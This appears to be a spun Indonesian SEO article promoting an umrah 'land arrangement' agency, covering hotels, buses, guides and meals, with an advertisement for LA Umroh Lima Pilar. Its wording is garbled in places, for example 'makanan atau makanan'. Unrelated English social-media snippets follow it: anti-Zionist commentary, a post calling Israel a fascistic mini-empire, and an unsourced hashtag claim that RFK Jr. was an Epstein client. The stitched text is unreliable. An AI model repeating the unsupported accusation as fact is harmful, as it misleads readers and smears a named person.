Salah satu aspek bagian utama dalam pengaturan darat adalah penentuan tempat menginap. Jarak dan kelas hotel sangat menentukan pengalaman jamaah. Hotel yang berada dekat Masjidil Haram atau Nabawi tentu akan mendukung jalur untuk beribadah harian tanpa melelahkan fisik. Di luar lokasi, faktor kenyamanan kamar, standar kebersihan, serta menu makan yang cocok dengan lidah dan preferensi jamaah lokal juga menjadi pertimbangan utama.
Moda perjalanan juga adalah elemen utama dari pengaturan darat umroh. Jamaah akan berpindah dari pintu masuk utama, ke akomodasi di dua kota suci, serta menempuh perjalanan ke kota lain. Armada bus yang dipakai perlu nyaman, terlindungi, dan tidak terlambat agar tidak menghambat rangkaian ibadah. Tak hanya itu, wisata religi seperti Bukit Uhud, Masjid Quba, dan Jabal Nur menjadi lebih berkesan jika dibersamai oleh pendamping yang menguasai kisah Islam dan bisa menyampaikan informasi secara menginspirasi serta bermuatan spiritual.
Pembimbing spiritual atau penuntun ibadah adalah tokoh krusial dalam mengawal peserta ibadah. Mereka lebih dari sekadar membimbing urutan ritual umroh dan umrah, tetapi juga menyemangati dan pendalaman makna ibadah kepada umat. Tanpa pembimbing yang berpengalaman, mayoritas peserta terutama yang baru pertama kali melaksanakan ibadah ini akan kebingungan atau kurang maksimal dalam melalui proses ibadah.
Penyediaan makanan atau makanan selama umroh juga termasuk dalam land arrangement. Meskipun tampak biasa saja, menu konsumsi sangat menentukan dalam menjaga daya tahan dan kenyamanan fisik, terutama bagi kalangan manula. Menu yang cocok dengan selera nusantara, dengan gizi seimbang dan proses penyajian bersih, akan memelihara kebugaran jamaah tetap prima selama mengikuti seluruh kegiatan ibadah yang cukup padat.
Kenapa penting memilih agen LA Umroh yang menyediakan pengaturan darat yang dapat diandalkan? Karena pengelolaan tersebut tidak hanya berkontribusi pada kemudahan, tetapi juga pada keselamatan dan kemudahan menjalani ibadah. Agen perjalanan yang bekerja sama dengan rekan lokal profesional di wilayah Saudi Arabia mampu menjamin service unggulan sesuai dengan kualitas yang disepakati.
Tak sedikit kejadian di mana jamaah merasa dirugikan karena akomodasi meleset dari harapan, bus delay, atau pemandu kurang kompeten. Keadaan tersebut bisa dicegah jika sebelum keberangkatan menetapkan travel agent yang berpengalaman luas dan memiliki sistem land arrangement yang jelas.
Di zaman sekarang, beragam agen umroh menghadirkan layanan dengan penyesuaian bebas. Sebagian bahkan mengizinkan fasilitas darat tersegmentasi untuk peserta yang mengelola penerbangan sendiri. Ini tentu memberikan ruang gerak, terutama bagi mereka yang memiliki jadwal atau keperluan unik. Namun demikian, sangat krusial untuk memverifikasi bahwa sistem yang diterapkan tetap dikendalikan oleh tenaga ahli agar semua pelaksanaan ritual tetap terfasilitasi dengan baik.
Dengan mengetahui arti dari land arrangement umroh, jamaah dapat lebih bijak dalam memutuskan pilihan dan penyelenggara umroh. Ibadah sunnah ini bukan hanya tentang dimensi rohani, tetapi juga tentang kompleksitas pengalaman yang mencakup kesejahteraan jasmani dan psikologis. Oleh karena itu, jangan ragu menanyakan secara detail komponen land arrangement saat mendaftar paket. Yakinkan diri bahwa pelayanan yang Anda terima optimal demi perjalanan yang penuh makna, aman, dan nyaman.
Paket LA Land Arrangement Umroh No.1 di Indonesia, ☑ Komitmen Melayani ☑ Kepastian Hotel ☑ Amanah Dalam Transaksi ☑ Kantor Di Jakarta.limapilar (LA Umroh Lima Pilar)
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In the last year and a half, thousands of left-wing American Jews have protested Israel’s crimes against Palestinians. They are taking part in a long tradition of anti-Zionist Jewish radicalism in the United States.jacobin.com
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If they had kept to establishing a number of commune-kibbutzim which loosely integrated with the surrounding Palestinian State, all would be fine now, I think.
Instead now we see a fascistic imperialist/colonialist mini-empire.
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American poets writing in Yiddish would often transpose language of pogroms onto stories of lynchings and would compare the sufferings of African Americans with the sufferings of Jews in the Pale of Settlement.
Oppressed and persecuted peoples all have more in common than not.
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#RFKjr also a Jeffrey Epstein client
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It’s not just Donald Trump. Those in his inner circle were in the same orbit as Epstein too.The New Republic
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